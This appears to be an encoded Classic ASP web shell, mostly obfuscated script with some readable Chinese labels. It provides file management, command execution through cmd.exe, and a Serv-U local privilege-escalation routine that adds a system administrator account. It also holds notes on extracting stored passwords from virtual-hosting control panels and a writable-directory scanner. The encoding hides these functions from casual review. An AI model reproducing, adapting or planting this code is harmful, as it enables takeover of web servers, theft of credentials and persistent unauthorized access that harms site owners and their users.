YnaD0k^n`qwlD4'Jr[sXWksncxC:S%BO+b@#@&YWr^+ hMrD+sbxP1W9n@#@&I]?r√PE'qwlD4[sX0bsnR	ls+@#@&OWbVnR1sWk+@#@&V/n@#@&?nY,O6ksF{s?8RK2+	Yn6D0rs`aCY4[Jr'hX6k^+ xCh~q~ +#@#@&rW,qxdOM`O0bsF M+mNl^VB	mKNn#{!~O4+x@#@&?YPDWrV'w?qRG2xO+XO0bVncqwlO4LJE[sz6ksR	l:~RSOy#@#@&D0rsRhMrYVk	n~1W9+@#@&]]UJ√E[q2lDt'hH0ksncxC:@#@&YWbVFR1VKd+@#@&nVk+@#@&"I?r@!0KxY,^GVKD{DnN@*×@!J0GxD@*Pr[	2mYt'hH0rV 	lh@#@&Y0bVqR1VG/@#@&n	NPbW@#@&?+D~O0bVFx1GO4kUo@#@&+	N~r6@#@&^Ck+~JyE@#@&jY,Y0bVq'w?qRKwnUD+6DWk^+`q2CY4[rJ':zWbVnR	C:~qS  #@#@&g+AZK[']w^lm`DWk^+qRM+C[mVVB	mKN+BEE#@#@&U+OPG8NZGE	OsbVnxqs?6 ;DnlDn:+aDsbV+vaCY4[hX6ksncxlsn~:DEb@#@&K4NZGEUOwks+c	DbYn~g+h/G9+@#@&K8NZG!xDsk^+c/VK/n@#@&I]jr√J[q2lDt[szWk^+cxC:n@#@&?nY,G4NZG;	Ysrs'HWD4bxL@#@&1l/PrfJ@#@&j+DPOWbV+8xsUFRK2nxD+XYWksnv2lD4[rJ'hH0ksncxC:S8~Ry#@#@&1h;GN']+aVC^`Y6rVFRMnCNmV^~	mG[~CN9/W9++b@#@&?nO,W8L;G!xOwk^+'qsU6R;DnlD+PnXYsbs+vwmO4[sX6ks+ Um:n~:.E#@#@&K4L/G!xOsbsR	MkD+Pg+S/W9+@#@&K4%/KExDok^+R;sG/@#@&I]?E√EL2lD4[sXWr^+RUCs+@#@&UnDPG(L;WE	YwrV'HWDtrUT@#@&1C/P+^dn@#@&I"?E错误RElM+dwKU/RnU9@#@&nU9Pd+^n1Y@#@&+^/+@#@&"]?r×PE[qwCO4[:HWk^+R	Ch+@#@&x[PrW@#@&]IU~J,→P@!C,tDnW{B%l7Ckm.bwD)s!V^oWM:cJrJ'.wVm^+vwmO4[sX6ks+ Um:n~rwJBJwwr#[EEr~EJGGSxobVJJ*B,^Vm/d'Elhv,YkDs+{B下载B@*9Gh	@!Jl@*PE@#@&I]?,E@!mP4.0'v%m\C/1.bwO=s!VVwWMh`rJE[M+2smm+v	wmYtLhz0bVRUlhnBJwJBE-'Jb'rJJSEr2[kDobVnrJ*BP1Vmd/{BC:EPOrDV+{v编辑B@*+NbO@!zm@*,J@#@&]]UPE@!m~tM+WxELl-Ckm.kaO=s;^VwWDs`rEJLDnw^l^nv/YMq~r-JBEw-r#LJEJSErfnVwrVJEbEWx^sbmV'E.Y;Mx,X+kW0c#EP^Vm/dxEl:E~YbYVxv删除B@*fV@!zC@*,J@#@&"]?,J@!C,tDnW{B%l7Ckm.bwD)s!V^oWM:cJrJ'.wVm^+vwmO4[sX6ks+ Um:n~rwJBJwwr#[EEr~EJ;GaXobVJJ*B,^Vm/d'Elhv,YkDs+{B复制B@*/GwH@!Jl@*PE@#@&I]?,E@!mP4.0'v%m\C/1.bwO=s!VVwWMh`rJE[M+2smm+v	wmYtLhz0bVRUlhnBJwJBE-'Jb'rJJSErHG\obVnrJ*BP1Vmd/{BC:EPOrDV+{v移动B@*HW7n@!zm@*@!4.@*E@#@&1n6D@#@&U+O~6/E8WKVnDk~{PWc?!4sKV9nDk@#@&sKD~3mmt,WF,kx,WdE(0KVnDd@#@&1nhhCY4'	2mYt'Er[WFcUm:n@#@&&x/DD)V^srV/~HhnmOtBmK[n~am@#@&H+aO@#@&d+D~Y6ksn{xWO4bxL@#@&jY~w?}P',1KOtbxL@#@&/nO,Y0bs+{xWD4rxT@#@&/nY~O6ks+yxxKY4r	o@#@&jY~wj}Px,1KYtbxT@#@&Ax[PUE8@#@&sE	^KbWx,d;Gv#@#@&.+d2Kxd+cADbYnE@!0W.h,xC:xE0GM:8BPs+D4W9'vwK/Ov,lmDrW	'BE@*E@#@&D/2WUdRADbO+r@!2~mVkLU{B^+	ODv@*J@#@&D/aGxk+ hMkOnrOO RO OO RRO O OROjnM\Rj,(x6W.hmYkGU ORO R OR O OO O RJ@#@&.+kwGUk+RS.kD+J@!8.@*r@#@&Dn/2G	/nRS.kD+E;k+DlE@#@&.+k2KxdRSDkD+r@!k	w;Y,xCh'B9;/DB,Ozw'EYn6Ov,mslkd'EKnaDAWav,k['E[!/nMB,\l^ExBdW^l^b[hbxkkODmYWMv@*@!(D@*J@#@&.nkwGxknRSDrOJwA[,)E@#@&./2Kxk+RSDbO+r@!rxaEO~	l:xB9wh9v~YHw'vYnaDB~m^C/k'vP6Y$GXB~k9xEN2SNEP\mV!n'Eas@$flV:cV3pT@$hB@*@!8.@*r@#@&Dn/2G	/nRS.kD+E2KDYlE@#@&.+k2KxdRSDkD+r@!k	w;Y,xCh'B92WMYB,Ozw'EYn6Ov,mslkd'EKnaDAWav,k['E[aW.DB,\l^ExBW&1*RB@*@!(D@*r@#@&M+/aGU/RSDrYnE ORO RO ORR OORR ORO )9N~`/D"e",RO ORO ORR OO RO OO R@!A"@*r@#@&DndaWU/ hMkOnrfWhCbxlPLU(/2pPr@#@&M+k2W	/nRSDrOJ@!bUw!YP	Ch+{B9WhlrUEPOXan'EYnaDBP^sm/d'EP6O~WXBPbN{vNK:Ck	B~-mVExBR!/^vPJ@*@!4.@*E@#@&Dn/aGxk+ AMkYnEwKKP`jAIlr@#@&D+kwKU/RADbYnE@!kxa;Y,xlsnxB6Ek+.B~OHwn'EO+XYv~1Vldd{BP+XO~WaEPbN'E0!d+MB~\mV;n{B%Zd+1B@*@!8.@*r@#@&Dn/2G	/nRS.kD+Eo:nPK)U?lJ@#@&M+daW	/+chMrYJ@!k	w;O,xlsn'E0wmddB,YHwn'vO6OB,^Vm/dxEK+aO~WaB,r9'v6wm//EP7CV!+xB8 f*lvB@*@!4M@*J@#@&.+kwKxd+ AMkO+roKhPK6"K)E@#@&Dn/aG	/nchMkYJ@!rxaEOP	lhn{B0aGDDBPDz2+{BD+aYv~1VC/kxB:+aO~W6v~bNxB62KDOEP7lV!+{v 8B@*@!(D@*E@#@&DdwKx/ ADbYJoKK~hbPC=E@#@&DndaWxdnch.kDnr@!r	w!YP	lsn'E02lDtv~DXwxBD+6Dv~m^lk/xBPnXY$WXvPbNxv6wlO4EP-l^;'v1)'-B@*J@#@&D/2W	/n SDkDnJ@!4D@*E@#@&M+kwGxdnch.kDnJhDr-bV+Lnr@#@&DdaWUk+chDbYE@!k+s+1Y~2mDl{-l^E+,UC:'Ew.k-r^+L+E@*J@#@&.nkwWUdRADbOJ@!KwDkW	P7CV!+x @*InC9OW	sX,bNsrU@!JWaYrWU@*r@#@&DdwKxdnchDrOJ@!WaObWU,\mVE'2@*MMW;w,b[hbx@!JGwDkW	@*E@#@&D/2WUdRADbO+r@!G2DkWU~7lsExW@*9K:mkx,b9hk	@!&WaYrG	@*J@#@&D/wKUd+chMkO+E@!KwOkKUP7ls;'*@*jH/O+s~zNhbx@!zWaYbGx@*J@#@&M+d2Kx/ hMkYE@!zk+^+^Y@*E@#@&.+k2W	/n SDkOnr@!&w@*E@#@&./aWxk+cADbYnJ@!w~C^ko	xB1+xDn.B@*J@#@&.+d2Kxd+cADbYnE@!kx2;DPUlsn{B.mNbW4!YDGxEPOXa+xvMlNbGB,\l^;n'El9NvP^4mV+9~m^ldd{BKnaDAG6E@*r@#@&M+kwW	/ hMkO+rb[[,j/.Pr@#@&MndwKxk+ h.rD+E@!bUw!Y~OHw+xvMl[kKv,xCs+{BDmNbG4!YOW	B~-mVExB9+VE~^Vm/k'vKnaDAG6E@*Pr@#@&./wGUk+ hMrD+EG+^Pjk+M~@!Jw@*J@#@&.nkwW	d+chDbOnJ@!w,lskLU{B^+	O+MB@*E@#@&DndaWU/ SDrD+r@!k	w!OP	lh+{Bj;(:kDvPDXwxv/!4skOB~^^ld/{v4!YOGsBP-C^En'E]!xv,z@*J@#@&DdwKxd+ch.rD+J@!&w@*J@#@&.n/aW	/nRA.bYnJ@!&0KDh@*r@#@&;dD~',.;;/DRsKDscJ9Ed+MJb@#@&wlkdP{PD5;+kYcsGDhcrN2h9E#@#@&2GMYPx~M+5EdDRoKDs`J9wK.Yr#@#@&9WhCbxP{~D;EdORwWM:cJ[Gslrxrb@#@&0;dDPx~M+5EdDRoKDs`J6EknDr#@#@&6wCdkP',.+$E+kO sKDs`E02Ck/E#@#@&0aW.O,'P.n$En/D wW.s`r0wKDDE#@#@&WwmY4~{PD5E/YcoGDs`r02lO4r#@#@&a.k7ksnT+'.n$En/D wW.s`rwDb\bs+T+E#@#@&dn^+mD~mm/+,2.k7k^+L+@#@&,P~mmd+, l@#@&PP2.b\rVL'E"+mNr	VHE@#@&P~P1ldn,&)@#@&P,wDb-rVo'EM.G!wE@#@&~P,mCdPcl@#@&P~wMr7kso'JGWsCk	J@#@&,P~^m/+,X)@#@&P,2.k7k^+L+xEUXdYhJ@#@&~~xN~dVnmD@#@&dr6PM+;!+kORwW.:vJ.C9kW(;YDWxrb~',JmN[J~P4+U@#@&sWTkU;k+D~x,Ji/.,J~LP!/+MPL~\(Z.S6@#@&sKok	2lk/P{~Enm/kPEP'~ald/,'P74/.d0@#@&hDPxPrj&K3,Hzq1:2g)1;2EPLP-8;DS6@#@&	+h9Ghlbx,'~JRjAK9rt)qgJ~',\4/.d0~[,E fGslbx'rPL~NK:Ck	P'E-!RZ !c!ur~'P6wKDOP'~ruRF-quZJ~',\4/.d0~[,E fz	fg?2	l(s+{!EPLP-8;DS6~[,JP,9zx&nglh+xE,[~\(/Dd0@#@&	+h;dD~',E ?3:jU2IU2:inrP'P74/.d0PL~J qn{T !c!c!EP'~74/DdWPLPERhWDOHK'EPL~6wGMY,[P74;.S6P'PrOidD'r'P6E/.~[,\(Z.SW~LPEOhC/khG.9'J~',02lkd,[~74;DS6PL~{@#@&~P,P~~,PJ uWs+fb.xJ,[,02lO4,[~\(/Dd0~',JOJGTkUHdwks'rP[,\(/Dd0~[,JR9b/l(s+{!J,'~\(ZMSWP'~rO]+^KlDtdx8JP'~74/DdW,[~|@#@&PP,P,~P,JR1+[jmEMn'ZJPL~-4;Dd0~[~E CrNuk9NnU{!J~',\8ZMJ6P',J bVSlHdb^VGhdWLr	'!r~[,\4;.J0,[,JRZ4C	onnmd/SW.[{!J~',\8ZMJ6P',{@#@&P,P,~P,PEO5EGOm2xm8V'!r~'P74;DJ0~',JRHmajk+.ddWorUh+.qhx FE,[,\4;DdWPLPEOUwnn9SksrY`w'ZE~[,\(Z.SW~LPEOU2+NJrskY9GSxx!r~LP-(ZMS0,[,m@#@&P~P,P~~,JOtC6gDjkn./{O8J~[~-(Z.S6~[,JR(9V+Prs+6EDx+!TrPLP\(ZMJ0,[~J ?ndkkW	Pks+r!OxO8J,[~\8/MSWPL~J 2a2bD+xTrP'P78;DJ6PLPJ ImOkKj2'8J~',\4;.S6P[,m@#@&,P,P~P~~rO]lDrWGWAU{FJ~',\8ZMJ6P',J IlDkKdZM+[kD'TE,[P78ZMS0,'~J p!WOl/;MDnxDx!rP'~74Z.J6P'PrR5EGDltl6b:!h'ZJ~[,\8/MS0,'P|@#@&,~~P,P,PEO\CbxO+	Cx1+xE,[P2.b\rVLP~LP74ZMS6~[,JRnm/dAKDN:zw'IL;VmDrP'P-8;DJ0,'PrO]CDkWdxgWU+r~LP-(ZMS0,[,EPzm^+k/xE,[P62lDtPLEkIqbt2JZ9KrP'P78ZMSW@#@&;ErO,'~J5i&KE,[,\4;DdWdi@#@&diBRR OO RO@#@&div6x,2MDGD~]/;:~16O@#@&ddjnDPanKdDPx,ZM+lD+}8LmO`rHr^MW/KWYc(HduPKhJ*@#@&d7ahWdYc6wx~Ehr?PEBPEtDOa)&JFyGRZRZ F=J'PaW.O,[JJd+1N/DESKME~~JES,JE@#@&7dXnGdDR?nU9PsWTr	EdD,[P^WTrxald/,[~hDP[,U+SNWsCrx,[,xnh;dD~[,5EbY@#@&id?nO,6KWkO,'UKY4kxT@#@&7dM+dwKxdnchDbO+,J@!9r-PmVboU'E'1t.`2*P*[E^xYn.r[^tMc2c~*[r@*s:n,;/D~JL0;dD[r~Pal/k~E[6wm/d[E~mY~wK.Y,J'~6wW.O,[E@!J[b\@*r@#@&d+^/r0,Dn;!+dOcsWMh`rDl9rG4!YDWUJb~{PENsJ,K4n	@#@&7@#@&d7VKLbx;k+MP',J`d+MPEPLP;dDPL~\(ZDdW@#@&id^WLkU2m/dP{~Jhldd,JP'~ald/,',\8;Dd0@#@&dihY,'~JUqP3,Hb&HKA1bg/3J,[,\8Z.J6@#@&di[+^EdnMP'~~rO92d3:2iU2"JPLP78mMVWPLPER&n'Z !c!RZE~[,\(m.VW~LPEOhGDD1GxrP[~2KDOPL~74^MV6P[,J,i/DxJLPW;k+D,'P74mMsW@#@&di;;kO~{PEp`(KrP'~74Z.J6d@#@&i7U+O,6hW/D&,xP;DnlD+68N+mDcJt?(tJ+RoHdCPKKE*@#@&dianK/OfcrwnU,JKrUPr~~rtDYw=zJq FRTRZRqlr[PaGDDP[r&d+1NkYE~~PMEn@#@&7dXnGdD&Rjn	N~VKLbx;k+MP[,VKLk	wC/kP'~sYPL~NVEkn.PLP$ErY~@#@&d7?OPXn6j:&'UGDtrxT@#@&d7M+kwW	/ hMkO+,J@![b\PmskTx'r'^tM`2c~#'E1+UY.JLm4.v&c~bLJ@*s:K,EdD,J[6EknDLJ~Paldd,J[62lk/[r~CY,wKDOPE',02WMOPLJ~4m\+~[VnY[@!z[b\@*J@#@&ds/@#@&diDndaWxknRSDkDn~J@!Nb\~lsrTxxJL^tM`f*,#[E^xO+MELm4M`2cP*[r@*VYv/,?OCMY"eZ@!JNk7@*E@#@&dx[PrW@#@&nx9~0!x^ObWx@#@&wEUmDrKx~6E.tED;8c#@#@&]IUJ@!2@*@!mUYD@*=星外虚拟主机辅助提权l@!za@*@!mnxOnM@*E@#@&]IUJfZ杀毒N4文件替换l@!(D@*J@#@&"Ijrm=-nMWT.lsPok^+dw2v!'fvZ?f'[n+a/1lU-jn1YrW	w:!YnacN4~@!(D@*Pr@#@&I]UJ1)-hDKLDm:~sbVnd'&vZw&+!?mWn-9+wdmCU'?nmDrW	-h;D+6 [(P@!4M@*r@#@&"IUJZ=-h.WTDC:,srs/-2!'&vZjC0-zxOkjn1YrW	w:!YnacN4~@!(D@*J@#@&"Ijrs^l/4文件替换)@!8D@*J@#@&"IjE;)-q(1GrUwdXkY:f w\mm.WsnN'ssCkt-osm/4FZ5cW^XP@!4D@*J@#@&I"?Eq&?.nSDkDn&,文件替换：@!4M@*E@#@&I"?EZlwhDGoMC:,srs/-un^k^W	w&?)hq|I+SDbO+2-]+SDrORVKL@!(D@*r@#@&I"?rZl-K.Ko.ls~sbVnd'C+sr1WU-&jzn(|IhDbYf-4YOw9R^G	0@!(.@*r@#@&"]jJ;)'n.WL.m:~sbs+k-un^kmGU'qjbh(|InSDbY+2-.DKD VKo~@!(D@*r@#@&"I?r9iPt+D+.流量统计信息日志文件替换：@!8.@*PE@#@&]IUJ^l'fW^;s+UYk~mx[,?YYbxTd-zVsP`/n.k-ba2VbmlDrGx,fmYC-uCT+sP:nm4xGsKoknd'fiPtnD+.'VKoR1/7~@!(D@*J@#@&]]UJ诺顿杀毒文件替换)@!8D@*J@#@&]]?rm=-KDGLMlhPwrV/w/K::GU,srVd'?zsl	Y+1PU4lM+[-h+.db/Yc8l0P@!(.@*J@#@&"IjJ^l'n.WT.lsPor^+/w/K:hW	~wks/'?Xsl	O+1PjtmDn['.l^rNmY+c[CY,P@!4.@*E@#@&I]?r^)'n.GTDlh~wks+kw;WhsW	PsbVd-UXhl	Yn^,?tm.+9-n.dkkYcfCY~~@!4.@*r@#@&"IjE华盾文件替换=@!4.@*r@#@&I"jrZl'&1f}Uwt1tr4^kd b4V,@!4M@*J@#@&]IUJ一流过滤相关目录及文件：,@!8D@*E@#@&]IUEZ=-{rycR^Gs-rkkdm0n'VKo-kYm.Ymx[kb/^4m3cO6DPP@!8.@*r@#@&I]?E/=-{ky*R1Whwbk/dC6+wVKL'/^mx^WoctDhP,P@!4M@*E@#@&IIUE其他相关)@!4D@*E@#@&"IUJt+U[=P/)'KDKo.CsPsrs/w}U9-tx9rwDksryDR&c& T'Vk(wraYksr"+MO2RfRTwat2Ol  c6wtxN62Dkhk.nMR[^V,P@!(D@*E@#@&I]?rZlwGWm!h+	Y/,CUN,?YOkULk-)V^~jk+.d'bw2sbmCYbG	P9mYm-HbmMG/K0O-t+[rmPq	[+X-P,@!8D@*J@#@&]IjEh/l星外提权方法通用于各虚拟主机系统@!(.@*r@#@&n	NPW;	mOkKU@#@&o!x1YkKx,WE.t;Y$ cb@#@&I"jJ@!w@*@!^nxD+M@*l华众虚拟主机辅助提权)@!&a@*@!mUYD@*E@#@&I]jrF|m=wSkU9WS/-D+s2下有t.tG/D主机留下的0O2登陆记录7有用户名和密码@!4M@*J@#@&I"jE @$找:k/5V~dm密码~hXk5V,DGGD密码及/+.- E的CNsr	kdDDmYWM密码@!(.@*r@#@&I"?EhH/;^~DKWY密码：_F35|S}Z)Sm\zZuqg3-kWWOSlDnw4y4WkO'mG	0bo-k+DOk	od-sXd5^wlkdP@!4D@*E@#@&"IUJd;sdD-+M~/m密码：CF3I{S6/zSmHz/_qHA-kW0Dhm.+'t"tK/Ow1Wx6ro'/+DOrxT/':C/OnM/-DaC/k@!8.@*J@#@&]"?E?.7O;管理密码：_|A5{dr;)S|H)Z_qH3'/W6OhmD+'4"tK/D-^WUWbow/OYbxLd'/\.2m/d@!(.@*J@#@&I"?J以上信息配合4y4G/D/华众虚拟主机系统RXP破解数据库密码工具使用@!8M@*J@#@&I"?J下载地址：百度搜索,v4y4WkYd华众虚拟主机系统v a,破解数据库密码工具B~@!(.@*r@#@&]"?JKd=星外提权方法通用于此虚拟主机系统@!8D@*E@#@&n	N,0E	mDrW	@#@&s!x^ObWx,WE.tED5f`*@#@&I]?E@!a@*@!mUYD@*lg点虚拟主机辅助提权)@!&2@*@!^+	OD@*r@#@&IIUJ默认数据库下载：@!8D@*J@#@&"IjE8R,版：4G/D{NmOnzu 2tG/OYy!Y 2Y ZNCO] f sN8@!(.@*J@#@&I"?J8RO版：tK/O{9lOnJ] 24WkY]yTY 2]y![lOnu fFORsN8~@!4D@*E@#@&]IUE具体方法：通过星外相同方法读&qjB然后跨站到1点管理站点目录下，接着通过上述地址下载回得到的kl和:H/$s及站点的其他信息的3X，通过下面的代码解密：@!4M@*E@#@&BI"jJ地址=需更改处J@#@&]]?rnk)星外提权方法通用于此虚拟主机系统@!4.@*r@#@&+	[P6EU^DkWU@#@&s;x1ObWU,0!yt!Y$*`*@#@&I"?E@!6WxD~mKVWMx:!Zsw!T@*请等待程序更新+3G@!&0KUY@*J@#@&xN~W!x^YbG	@#@&wE	mYbW	~0!y4ED;Xc*@#@&bWP"+;!ndYvJhlOtdE*PxJr~Y4+U@#@&nlO4k{dYMxrml'hbxNKhkwJLm4DvFfbLmtMcFZ#[r^l-GW1Eh+UOkPCx9~?YOr	o/wELm4Dvq2#'1tM`FZ#LEm=-KDKo.CsPsbs+k-J@#@&r0,?/dkGUvJ2lD4/r#@!@*rJPO4x~PhCDtd|/DD'U+kdkKxcJalO4kJ#@#@&d"+/aGU/RqDrYn~r@!WWMhPbNxv6WDhqEPUlsn{BWKDsFB,:OtKNxBaWdOEPl1OkKx'Ev@*J@#@&iIn/2G	/nRq.kD+~E此程序可以检测你服务器的目录读写情况B为你服务器提供一些安全相关信息"@!8.@*输入你想检测的目录~程序会自动检测子目录@!4M@*rd@#@&d"+/aW	d+c.kD+~E@!Y+XOlM+l,UC:'EnCY4dEP^W^d'E%Tv,DWAd{Bq!E~1VCk/{B29kDv@*r[KlDtdmkYDLE@!JY+XOCDl@*J@#@&7]/2W	d+c.rD+PE@!(D~z@*E@#@&7"+kwW	/ MkO+,J@!r	wED~YHw+{vdE(:bYvPUCs+xB(;YDWUv,\ls;'v开始检测B,&,msm/k'B(EDqB@*J@#@&iIndaWxknRqDkDn~J@!Vm4nV~WKDxB;4+13HnXYfr.E@*E@#@&7"+daW	/+cMrYPE@!bx2;DPxmh+{BZ4n^3g+XY9k.v,YzwxB1tn^04Wav,k['E/4+^016YGkMvP1tnm0+[xEmt^3NB,&@*测试目录P,J@#@&7IndaWU/ MkOn,J@!&sm4nV@*E@#@&7"+kwW	/ MkO+,J@!sm4+^~0KD'E/4+13wks+v@*r@#@&d"n/aWUdR.rD+~J@!r	w;DP	l:'E/tmVsbVnv,YXan'Emt^V4K6EPrNxv;tnm0ok^+v~1t+^VNxB14mVNEPPJ@*测试文件r@#@&iIn/aWUdRMrYPJ@!&sl(+^@*E@#@&7"+dwKU/R	.bY+~E@!VC4s,0GM'E?tKhgGMkO+E@*E@#@&dIdwKx/ 	DbYPE@!rUaEOP	C:'vj4WhHGqDrYv,Yza+{Bm4+1V4K6vPbNxvUtWSHWqDkDnvz@*J@#@&7IndaWU/ MkOn,J显禁写目录和文件@!&sm4nV@*E@#@&7"+kwW	/ MkO+,J@!sm4+^~0KD'EHGZ4+13P+h2E@*E@#@&7I/2G	/+ 	MkO+,E@!kUaEDPxm:xBgW/tmVP:wE~YHw+{v^tm04G6v~bNxBgGZ4+^V:+:2v,m4+1VNxEm4+m0+9vPJ@*E@#@&d]nkwW	d+cDbOnPr不检测临时目录@!JVC4ns@*J7@#@&7I/2G	/+ 	MkO+,E@!zWKDs@*J@#@&s/@#@&I/2G	/+c	DbY+,~E@!mP4Dn0xErgEJ@*重新输入路径@!zm@*@!8M@*J@#@&;tnm0obVn,',`I;!n/D`EZ4+^VwkVE#{JW	Eb@#@&Z4+^3HnXY9kM~',`]n$E+dOvJ/t^01nXYGkDr#{EW	Jb@#@&?4GS1Wq.kD+fb.~',`"+5EndD`E?4GhgW	.bY+Eb{JGxrb@#@&HKZ4+m0Khw,'~`"+5;/YvE1KZt^VK:aJb'EG	Jb@#@&]+kwGUk+R	.bYnPr检测可能需要一定的时间请稍等 cR cR@!4D@*J@#@&D/2W	/n wVEk4@#@&@#@&Und/bW	`EwCO4/E#,xP"+5;/YcEhlOtkE*@#@&@#@&hlY4/U2VbYx?aVrOvI+$;+kY`rKCY4/r#Sm4.vFf#L^tM`qT*#P@#@&wW.PbxdAG!x9`nmY4d?aVrY*PPG,jAK;x9`nmO4/Uw^kO#~@#@&kWPbU/DDcKmYtdjaVrYvr*~E=J*@*!,Y4nx@#@&7?4WA9bDMrY{fb.msbVPPDrhvnCY4d?aVrOvk#bS;tnm0obVnBZ4+m01aYGk.@#@&2U[,q0,@#@&g+6D@#@&I/aWU/n qDrY~J]扫描完成T@!8M@*J@#@&x[PbW@#@&n	N,0E	mDrW	@#@&s!x^ObWx,^:9 `*@#@&D/aWU/n SDrYE@!6W.h,:+O4KNxBaGkYv@*J@#@&D/aGxk+ hMkOnr@!k	2EDPYH2n'D+XY~xCh'vms[B,/r"'vT@*r@#@&DdaWUk+chDbYE@!bx2EDPOza+'k;4skY,-CV!+{B.EUv@*@!&0K.:@*PE@#@&D+d2Kxd+cAMkOJ@!Y+XYm.+mP.+mNGU^XP1GVk'%Z~.WS/{ T@*~E@#@&.+k2W	/n SDkOn,/nD7nMR^M+mY+K4NnmD`Ehkm.raYRk4+^VJ* n6mvJ^:[ 6nPJ^Pr[.n$E+dOc0GDscrmh9J*#RkY9GEDR.+mNCs^@#@&Mn/aWxkn hMkD+E@!&O6OlMnl@*J@#@&xN~W!x^YbG	@#@&wE	mYbW	~/!0Owv#@#@&"I?r@!w@*@!mUO+M@*集成版本信息=@!&w@*E@#@&]IUE@!6W.h,xlhn{BWWMh8B~s+DtW9'E2WkYvPmmOrKx'Ev@*r@#@&"]jJ@!mxO+.@*管理员=@!rxa;Y,xCh'B[;k+.B,OHwn{BD+6DB,^Vm/d'EKnaDAWXvPbN'E[;/DEP-ls;'vSK^l^b[hbxkdOMlOWMv@*@!8M@*r@#@&"IUE@!1+UYD@*管理员密码~=@!k	2EDPxmhn'ENah[B~OHwn'EO+XYv~1Vldd{BP+XO~WaEPbN'ENaANEP-l^EnxEaV@$yl0aR^VI!@$nE@*@!4.@*r@#@&I"jJ@!mnUD+D@*jAI#O`端口l@!kUaEDPxm:xB9wGDDB~OHw+{vY6YE~^Vm/k'vKnaDAG6E~k9'v[aWDOv,\CV!n{B*2,l%B@*@!(.@*r@#@&I"?E@!1+xDnD@*添加的用户名)@!bU2EDP	lh+xvDEd+MvPDX2n{BYnaDB~m^Ck/xEK6Y~WXvPbNxBDEdnMBP7CV!+'Eqv@*@!4M@*E@#@&]"?E@!1nxD+.@*添加的用户密码=@!kU2!Y~xmh'vDwm//EPDzw'vY6Ov,mVmd/{BKaOAK6EPrNxvald/E~\mV;n{BFv@*@!4.@*r@#@&I]UJ@!m+	Y.@*帐号的所对的路径=@!rxaEO~	l:xBDwlD4vPDXa+xBOnXYvP1slk/xv:+6O$K6vPb[{BOalDtB,\msE'vZ=-v@*@!4D@*E@#@&IIUE@!mxD+.@*服务端口l@!bx2ED~xm:nxEYwG.DB~YH2'vD+XYB,m^C/k'vK6O$K6B,rN{BYaG.YEP7lsEnxE qB@*@!4M@*E@#@&IIjE@!mnxDnM@*@!bxaEY,xmh+{B.l9kG8!YYKUB,YXanxBMl9kGB~-mV;+{vl9Nv~1t+^VN~m^Ck/xEK6Y~WXv@*确定添加r@#@&I"?E@!1+xDnD@*@!k	2;Y,YHwn'v.mNrWE~xm:nxEDl[rK4;YDG	B~7l^E+{B9nVEP^Vm/dxEK+XOAK6B@*确定删除E@#@&"IUJ@!w@*@!bx2ED~xm:nxE?E8hbYvPDza+xE/!4:bYE~m^ld/{B8;DYWsvP7lV!nxB提交E@*@!z2@*@!&6W.:@*E@#@&jd.,'P.n$En/D wW.s`rNEk+ME#@#@&2h9Px~M+;!n/DRsK.h`rNah[Jb@#@&wGDD~',Dn5!+/O wW.:vE9wGMYr#@#@&Y!d+MPxPM+5;/YcoWM:`rO;/Dr#@#@&O2m/dP{~D;;nkYRoGM:cJD2m/dr#@#@&YalD4P{P.+$EndDRsK.:vJYaCOtr#@#@&OwG.DPxPMn;!+dOcsW.hvJOwK.DJb@#@&EZWs:mUN,'~D;;nkYRwGDs`J9^hNr#@#@&r0~.;;+kORwW.hvJDC[bW8EDOKxE*P{PJmN9EP:tnx@#@&snm\+k~',Jjkn.PrPLPi/.~LP-41.V6@#@&sl\nd,'~VC7+d,[,Jnm/k~J,[~wSN~',\41.V6@#@&^nC\/,'~VnC7+dPL~JUqP3,Hb(H:2Hbg/AJ~LP74mMV6@#@&EVnl7+d~{PVC\/PL~EOU2:f6H)(gJ~[,-41DsW,[PERGWhlbU{m^D\-!RZRZ !-cf%l,kR8uF-TJ,[P78^D^0,[~JRP\r3xm8V'TE,[P-81Ds0,',J~:}}|+H'r~[,\8mMVW@#@&V+m-+kP',snl7+kP'PERU2PjU3IU2PihJP'~74^D^W,[~rO&n'ZRZ !c!EPLP-81DV6~[,JOhG.YgW{J~[~OaW.Y,'P74^.^0P'~rOi/.{J~LPDE/D,'P74^D^0~',JOhC/khWM[xJ,[,Y2ldd,[~\(^D^0~',{@#@&E CG:9bDxrPLPYalD4PLPE-rP'~74mMs0,[PrRJWTk	Hn/or^+xJ,'P74^.^0P'~rO9kkC(Vn{!rP[,\(^D^0~[,JR]VnmOtk'Fr~'P741Ds0~',{@#@&rR1+[jmE.n{!EPL~74^MV6P[,J uk9+uk9NnU{!J,'P74mMsWPLPrO)VACH/)V^GhdWLr	'!E~LP-41.^0~LPrOZ4l	L+hld/SW.[{!J,'P74mMsWPLP|@#@&JR}!WOlAUl(VnxZJP'~74^D^W,[~rOtl6`/./dWLk	nn.&n' qJ,[P78^D^0,[~JRja+nNdr:bYi2{!J~',\8mMs6P',J ?w+9JkskOfKhUxZJPL~\(mD^W~[,{@#@&EO\CX1.jknDk'RqrP[~-(m.V6~LPE q9V+:ksnr!YxvZ!E~LP\(^D^0PL~EOU+k/rWUPb:nr!O' FE~LP\8^MVWPL~rO3XwbD+{!r~[,\8mMVW~LPJ ]lDkW`2xFrPLP-4^.^0~[,m@#@&JR]mYkG9KhU'8E,[~741DV6PL~J ICYbWd/M+NbO'ZJPL~-41D^0~[~E p;WDCZ!D.n	Y'TE,[~\(^MVW,[,JO5EKOltlaksEhxZJPL~\(mD^W~[,{@#@&EO\CbxO+	Cx1+xjH/YnhrP'P781Ds6PLPJ nmd/SW.N:X2n{I+T;VmDJ,'~\(mMVWP'~rO]lDrWk'HG	+J~',\8mMs6P',J,bm1+kd'rP'PDwCO4P[,E--Iz\3S;fhJ~[~-(m.V6@#@&EVnC7+/~x,Vnl7nkP',J$EkDJ,'P74^D^0@#@&EOO RO OO@#@&6x,2MDGD~]/;:~16O@#@&?+O~XnG/D~{P/M+mY+}4NnmD`EHU(\JyR(tJC:Knrb@#@&XnK/OR62x~Jh6?:JS~rtYO2=z&Fy{c! ZR8)JLPaGDDP'JJVnC7+/rSP:DE@#@&6hWkY 